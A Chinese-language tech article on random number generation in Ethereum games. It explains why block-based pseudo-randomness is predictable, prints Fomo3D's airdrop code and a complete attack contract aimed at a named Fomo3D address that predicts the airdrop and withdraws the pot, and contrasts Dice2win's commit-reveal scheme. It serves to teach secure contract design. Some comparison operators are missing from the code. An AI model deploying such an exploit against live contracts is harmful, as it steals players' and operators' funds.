在以太坊應(yīng)用中,游戲一直都是熱點(diǎn)中的熱點(diǎn),而在游戲中,隨機(jī)數(shù)往往是一個(gè)不可或缺的功能,比如骰子游戲中,我們需要通過(guò)隨機(jī)數(shù)來(lái)控制點(diǎn)數(shù),如果一個(gè)游戲有一個(gè)好的隨機(jī)數(shù)算法的話,那么既可以保證游戲莊家不被黑,也可以保證玩家不被宰。
雖然隨機(jī)數(shù)很重要,但是壞消息是在以太坊中實(shí)現(xiàn)一個(gè)基本的隨機(jī)數(shù)并不是一件簡(jiǎn)單的事情。對(duì)于不熟悉區(qū)塊鏈的人而言,這可能有些難以理解:畢竟大多數(shù)編程語(yǔ)言都有生成隨機(jī)數(shù)的功能,難道以太坊的 Solidity 沒(méi)有這個(gè)功能?答案是沒(méi)有!要搞清楚這一點(diǎn),我們還需要了解一下以太坊的運(yùn)行機(jī)制:以太坊是一個(gè)基于共識(shí)的區(qū)塊鏈系統(tǒng),當(dāng)智能合約代碼運(yùn)行的時(shí)候,不同的節(jié)點(diǎn)得到的結(jié)果必須一致。設(shè)想一下,假設(shè) Solidity 有一個(gè) random 函數(shù),在 A 節(jié)點(diǎn)生成一個(gè)隨機(jī)數(shù) 123,在 B 節(jié)點(diǎn)生成一個(gè)隨機(jī)數(shù) 789,那就不存在共識(shí)了,區(qū)塊鏈的根基就不存在了,所以以太坊不存在 random 之類(lèi)的函數(shù)。
下面我們以兩個(gè)比較出名的 DAPP 游戲?yàn)槔纯此鼈兪侨绾紊呻S機(jī)數(shù)的:
先看看 Fomo3D,它有一個(gè)空投獎(jiǎng)金的功能,隨機(jī)數(shù)相關(guān)代碼如下:
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) airDropTracker_)
return(true);
else
return(false);
}
大概邏輯就是根據(jù)區(qū)塊和地址等信息做若干運(yùn)算,拿到一個(gè)隨機(jī)數(shù),進(jìn)而判斷用戶是否中獎(jiǎng),不過(guò)這個(gè)隨機(jī)數(shù)是一個(gè)偽隨機(jī)數(shù),讓我們看看對(duì)應(yīng)的攻擊代碼:
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
contract PwnFoMo3D {
constructor() public payable {
// Link up the fomo3d contract and ensure this whole thing is worth it
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
if (fomo3d.airDropPot_() 0.4 ether) {
revert();
}
// Calculate whether this transaction would produce an airdrop. Take the
// "random" number generator from the FoMo3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));
uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) = tracker) {
revert();
}
// Ok, seems we can win the airdrop, pwn the contract
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
不懂 Solidity 也沒(méi)關(guān)系,代碼邏輯很簡(jiǎn)單:攻擊者部署新合約,然后在合約中按照相同的隨機(jī)數(shù)邏輯來(lái)預(yù)演自己能否中獎(jiǎng),不能就回滾,能就拿錢(qián)走人。如此一來(lái),攻擊者的成本僅僅就是部署合約的 GAS 費(fèi),相對(duì)于偷來(lái)的獎(jiǎng)金而言可以忽略不計(jì)。
再看看 Dice2win,其代碼最主要的函數(shù)就兩個(gè):placeBet、settleBet,分別對(duì)應(yīng)著下注和開(kāi)獎(jiǎng),其中采用了一種名為 hash-commit-reveal 的算法來(lái)實(shí)現(xiàn)隨機(jī)數(shù):
1.【莊家承諾】莊家(secretSigner)隨機(jī)生成某隨機(jī)數(shù)reveal,同時(shí)計(jì)算commit = keccak256 (reveal)對(duì)該reveal進(jìn)行承諾。然后根據(jù)目前區(qū)塊高度,設(shè)置一個(gè)該承諾使用的最后區(qū)塊高度commitLastBlock。 對(duì)commitLastBlock和commit的組合體進(jìn)行簽名得到sig,同時(shí)把(commit, commitLastBlock,sig)發(fā)送給玩家。
2.【玩家下注】玩家獲得(commit, commitLastBlock,sig)后選擇具體要玩的游戲,猜測(cè)一個(gè)隨機(jī)數(shù)r,發(fā)送下注交易placeBet到智能合約上進(jìn)行下注。
3.【莊家開(kāi)獎(jiǎng)】當(dāng)莊家在區(qū)塊block1中看到玩家的下注信息后。則發(fā)送settleBet交易公開(kāi)承諾值reveal到區(qū)塊鏈上。合約計(jì)算隨機(jī)數(shù)random_number=keccak256(reveal,block1.hash)。如果random_number滿足用戶下注條件,則用戶勝,否則莊家勝。此外游戲還設(shè)有大獎(jiǎng)機(jī)制,即如果某次random_number滿足某個(gè)特殊值(如88888),則用戶可贏得獎(jiǎng)金池中的大獎(jiǎng)。
說(shuō)明:以上信息摘錄自「Not a fair game, Dice2win公平性分析」。
莊家承諾、玩家下注、莊家開(kāi)獎(jiǎng)三個(gè)步驟分別對(duì)應(yīng)著 hash-commit-reveal 的三個(gè)階段,整個(gè)過(guò)程中莊家掌握著隨機(jī)數(shù),玩家控制著投注,敏感信息分散在不同人手中,誰(shuí)也別想單獨(dú)作弊,從而實(shí)現(xiàn)了一種相對(duì)公平的算法,當(dāng)然了,這里可能存在參考鏈接中提及的莊家選擇性開(kāi)獎(jiǎng)的問(wèn)題,但這點(diǎn)可以通過(guò)別的方法來(lái)規(guī)避,這里略過(guò)不談。
看了本文的例子,相信大家應(yīng)該對(duì)如何在以太坊中生成隨機(jī)數(shù)有了一個(gè)基本的認(rèn)識(shí):記住區(qū)塊鏈里一切都是公開(kāi)的,不要試圖在智能合約里通過(guò)區(qū)塊之類(lèi)的信息來(lái)生成隨機(jī)數(shù),而應(yīng)該在服務(wù)端通過(guò) hash-commit-reveal 之類(lèi)的算法來(lái)實(shí)現(xiàn)隨機(jī)數(shù)。此外,我再推薦一篇好文章:以太坊智能合約中隨機(jī)數(shù)預(yù)測(cè)。
打游戲是現(xiàn)在很多用戶使用電腦時(shí)非常重要的功能,很多用戶都......
閱讀網(wǎng)頁(yè)游戲是現(xiàn)在非常流行的游戲模式,我們可以在網(wǎng)頁(yè)上玩到各......
閱讀現(xiàn)在有非常多膾炙人口的網(wǎng)絡(luò)游戲,還有很多的網(wǎng)頁(yè)版游戲,用......
閱讀很多瀏覽器都會(huì)自帶彈窗和廣告,使用起來(lái)非常令人討厭,有的......
閱讀廣告是我們?cè)谑褂脼g覽器時(shí)感覺(jué)非常煩人的東西,經(jīng)常會(huì)在使用......
閱讀顯卡功耗天梯圖能夠幫助用戶們來(lái)了解顯卡的功率與功耗,從而更清楚應(yīng)該去搭配什么樣的電源,以免無(wú)法發(fā)揮出顯卡的實(shí)力,這里為廣大的用戶們整理一些常用顯卡的功耗表格,用戶們可以作...
次閱讀
此前Windows更新了一個(gè)立即開(kāi)會(huì)功能,很多朋友用不到覺(jué)得很煩人,但是不知道立即開(kāi)會(huì)怎么關(guān),其實(shí)可以在任務(wù)欄設(shè)置中關(guān)閉它。...
次閱讀
液晶顯示器中最容易損壞的部件是:高壓板、數(shù)據(jù)線、驅(qū)動(dòng)板、內(nèi)置電源和屏幕本身。 處理方法 一、液晶顯示器故障較多的還是高壓板。高壓板出問(wèn)題后,出現(xiàn)的故障現(xiàn)象一般分成2種...
次閱讀
新功能有:1、革命性的分布式技術(shù),無(wú)論是手機(jī)、電視、手表還是智能家居設(shè)備都可以控制;2、卡片式設(shè)計(jì),整個(gè)控制中心以卡片形式展現(xiàn)第三方連接狀態(tài);3、原子化服務(wù),直接點(diǎn)擊對(duì)應(yīng)卡片...
次閱讀
前不久公司一服務(wù)器加歌光驅(qū)出現(xiàn)故障,開(kāi)始還好好的,將光碟放進(jìn)去之后拷貝完光碟里面的數(shù)據(jù)之后,竟然在推盤(pán)的時(shí)候光驅(qū)彈不出來(lái),之后無(wú)奈只能重新啟動(dòng)電腦,不過(guò)問(wèn)題依舊,...
次閱讀
優(yōu)麒麟是Ubuntu下的中文版操作系統(tǒng),很多想要使用Linux系統(tǒng)的朋友應(yīng)該都聽(tīng)說(shuō)過(guò),但是不知道優(yōu)麒麟操作系統(tǒng)怎么樣,因此小編今天就給大家?guī)?lái)了這款系統(tǒng)的詳細(xì)評(píng)測(cè),一起來(lái)看一下吧。...
次閱讀
有的朋友新安裝了win11系統(tǒng),但是不知道windows11默認(rèn)賬號(hào)密碼是什么,擔(dān)心無(wú)法登錄和正常使用。其實(shí)系統(tǒng)默認(rèn)一般是沒(méi)有密碼的,我們只需要直接登錄就可以了,下面一起來(lái)看看吧。...
次閱讀
第一把交椅非華碩莫屬了。華碩的這款B250主板屬于MATX小板,在同規(guī)格的其它品牌主板里,華碩的價(jià)格向來(lái)都是最高的,除過(guò)品牌效應(yīng)之外,擁有多年主板制造經(jīng)驗(yàn)的華碩,其品牌下的主板質(zhì)量...
次閱讀
硬盤(pán)格式化導(dǎo)致系統(tǒng)無(wú)法啟動(dòng)怎么辦 電腦硬盤(pán)格式化后無(wú)法打開(kāi)系統(tǒng)解決方法...
次閱讀
在我們使用電腦編輯各種文件時(shí),很多時(shí)候需要對(duì)頁(yè)面進(jìn)行全選,如果頁(yè)面太長(zhǎng),手動(dòng)拖拽全選會(huì)顯得很麻煩,其實(shí)電腦中各種編輯軟件的全選快捷鍵基本都是一致的,那么全選快捷鍵是什么呢...
次閱讀
i7-8700是一款擁有強(qiáng)大渲染能力的高端處理器,如果你還想要深入了解更多有關(guān)于i7-8700處理器的信息可以來(lái)看看小編為大家整理i7-8700詳細(xì)信息。...
次閱讀
問(wèn)題描述:筆記本點(diǎn)“關(guān)機(jī)”以后,彈出一個(gè)錯(cuò)誤對(duì)話框"IWMS Windows '0x5abc12a2'指令引用'0x0000066'內(nèi)存錯(cuò)誤","S24EvMon.exe錯(cuò)誤",點(diǎn)“確定”后自動(dòng)重新啟動(dòng),點(diǎn)“取消”藍(lán)屏,出現(xiàn)代碼“0xc0000021...
次閱讀
win8系統(tǒng)屏幕分辨率調(diào)不了的解決方法 win8系統(tǒng)怎么修復(fù)屏幕分辨率調(diào)不了...
次閱讀
很多小伙伴都不知道默認(rèn)網(wǎng)關(guān)是什么,怎么查?其實(shí),查默認(rèn)網(wǎng)關(guān)是使用電腦的一種基礎(chǔ)操作,非常簡(jiǎn)單。接下來(lái)小編帶大家一起來(lái)看怎么解決吧。...
次閱讀
不少的用戶們?cè)谑褂秒娔X的時(shí)候,有時(shí)候會(huì)遇到藍(lán)屏的情況,且會(huì)提示代碼0x000000a5,那么這個(gè)問(wèn)題需要怎么解決呢,那就快來(lái)看看詳細(xì)的教程吧~...
次閱讀